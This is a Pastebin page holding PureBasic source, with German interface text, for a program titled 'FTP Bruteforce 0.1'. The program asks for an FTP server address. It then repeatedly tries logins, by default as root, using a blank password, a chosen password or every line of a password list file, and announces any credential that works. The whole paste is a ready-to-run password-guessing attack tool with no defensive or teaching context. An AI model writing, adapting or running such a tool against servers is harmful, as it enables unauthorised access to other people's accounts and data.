daily pastebin goal
5%
SHARE
TWEET

FTP - Bruteforce 0.1

a guest Aug 25th, 2013 8 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Quellcode (COPYRIGHT BY STEFFEN KREMER):
  2.  
  3. If Not InitNetwork()
  4.   MessageRequester("Error","Can´t initialize Network!")
  5.   End
  6. EndIf
  7.  
  8. Procedure mainwindow(ftp.s)
  9.   OpenWindow(0, 0, 0, 260, 280, "FTP Bruteforce 0.1", #PB_Window_SystemMenu)
  10.   Frame3DGadget(0, 5, 5, 250, 115, "FTP - Name:")
  11.   OptionGadget(1, 25, 30, 100, 15, "root benutzen")
  12.   SetGadgetState(1, 1)
  13.   OptionGadget(3, 25, 50, 70, 15, "eigenen:")
  14.   OptionGadget(11, 25, 70, 50, 15, "Liste:")
  15.   StringGadget(5, 95, 165, 150, 20, "password")
  16.   StringGadget(7, 75, 190, 170, 20, "C:")
  17.   ButtonGadget(8, 75, 215, 170, 15, "Ändern")
  18.   ButtonGadget(9, 5, 240, 250, 35, "Starten:"+Chr(10)+ftp.s,#PB_Button_MultiLine)
  19.   StringGadget(10, 95, 45, 150, 20, "root")
  20.   OptionGadget(6, 25, 190, 50, 15, "Liste:")
  21.   OptionGadget(15, 25, 150, 110, 15, "leeres benutzen")
  22.   OptionGadget(4, 25, 170, 70, 15, "eigenes:")
  23.   StringGadget(12, 75, 70, 170, 20, "C:")
  24.   ButtonGadget(13, 75, 95, 170, 15, "Ändern")
  25.   Frame3DGadget(14, 5, 120, 250, 115, "FTP - Passwort:")
  26.   SetGadgetState(15, 1)
  27.  
  28.   DisableGadget(13,1)
  29.   DisableGadget(12,1)
  30.   DisableGadget(11,1)
  31. EndProcedure
  32.  
  33. Procedure checkftp(user.s,password.s,port,ftp.s)
  34.   If OpenFTP(0,ftp.s,user.s,password.s,#True,port) And IsFTP(0)
  35.     CloseFTP(0)
  36.     ProcedureReturn 1
  37.   EndIf
  38. EndProcedure
  39.  
  40. ftp.s = InputRequester("FTP - Bruteforce","FTP Adresse:","ftp.")
  41. If ftp.s
  42.   mainwindow(ftp.s)
  43. Else
  44.   End
  45. EndIf
  46.  
  47. Repeat
  48.   Event = WaitWindowEvent()
  49.  
  50.   If Event = #PB_Event_CloseWindow  ; If the user has pressed on the close button
  51.     Quit = 1
  52.   EndIf
  53.  
  54.   Select Event
  55.  
  56.   Case #PB_Event_Gadget
  57.     Select EventGadget()
  58.       Case 8
  59.         SetGadgetText(7,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(7),"",0))
  60.        
  61.       Case 13
  62.         SetGadgetText(12,OpenFileRequester("Passwort Datei auswählen:",GetGadgetText(12),"",0))
  63.        
  64.       Case 9
  65.         If GetGadgetState(1)
  66.           modeu = 1
  67.           user.s = "root"
  68.         EndIf
  69.         If GetGadgetState(3)
  70.           modeu = 2
  71.           user.s = GetGadgetText(10)
  72.         EndIf
  73.         If GetGadgetState(11)
  74.           modeu = 3
  75.           listeu.s = GetGadgetText(12)
  76.         EndIf
  77.         If GetGadgetState(15)
  78.           modep = 1
  79.           passwort.s = " "
  80.         EndIf
  81.         If GetGadgetState(4)
  82.           modep = 2
  83.           passwort.s = GetGadgetText(5)
  84.         EndIf
  85.         If GetGadgetState(6)
  86.           modep = 3
  87.           listep.s = GetGadgetText(7)
  88.         EndIf
  89.         quit = 1
  90.         CloseWindow(0)
  91.        
  92.     EndSelect
  93.    
  94.   EndSelect
  95.  
  96. Until Quit = 1
  97. quit = 0
  98. OpenConsole("FTP - Bruteforce")
  99. ConsoleColor(15,0)
  100. PrintN("FTP - Bruteforce")
  101. PrintN("Build: "+#pb_editor_buildcount)
  102. PrintN("Copyright by R3booz")
  103. PrintN("FTP Adresse: "+ftp.s)
  104. If user.s <> ""
  105.   PrintN("Benutzername: "+user.s)
  106. Else
  107.   PrintN("Benutzername: "+listeu.s)
  108. EndIf
  109. If passwort.s <> ""
  110.   PrintN("Passwort: "+passwort.s)
  111. Else
  112.   PrintN("Passwort: "+listep.s)
  113. EndIf
  114. PrintN("Port: 21")
  115. PrintN("")
  116. PrintN("Starte Bruteforce Attacke:")
  117. If Not OpenFile(0,listep.s) And  modep = 3
  118.   End
  119. EndIf
  120. ;openfile(1,listeu.s)
  121. Repeat
  122.   If modeu = 3
  123.     End
  124.   Else
  125.     UserName.s = user.s
  126.   EndIf
  127.   If modep = 3
  128.     password.s = ReadString(0)
  129.     If password.s = ""
  130.       quit = 1
  131.     EndIf
  132.   Else
  133.     password.s = passwort.s
  134.   EndIf
  135.   If quit = 0
  136.   If Not checkftp(username.s,password.s,21,ftp.s)
  137.     ConsoleColor(12,0)
  138.     PrintN("("+Str(count+1)+") Kein Zugriff - User: "+username.s+" Passwort: "+password.s)
  139.     count + 1
  140.     If modep <> 3
  141.       quit = 1
  142.       PrintN("Fertig")
  143.       Beep_(1000,750)
  144.     EndIf
  145.   Else
  146.     ConsoleColor(10,0)
  147.     PrintN("("+Str(count+1)+") Zugriff - User: "+user.s+" Passwort: "+password.s+" Port: 21")
  148.     PrintN("Fertig")
  149.     Beep_(1000,250)
  150.     Beep_(1500,250)
  151.     Beep_(2000,250)
  152.     quit = 1
  153.   EndIf
  154.   EndIf
  155. Until quit = 1
  156. ConsoleColor(15,0)
  157. PrintN("Es wurden "+Str(count+1)+" Passw"+Chr(214)+"rter versucht.")
  158. PrintN("Enter dr"+Chr(220)+"cken zum beenden...")
  159. Input()
  160. End
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top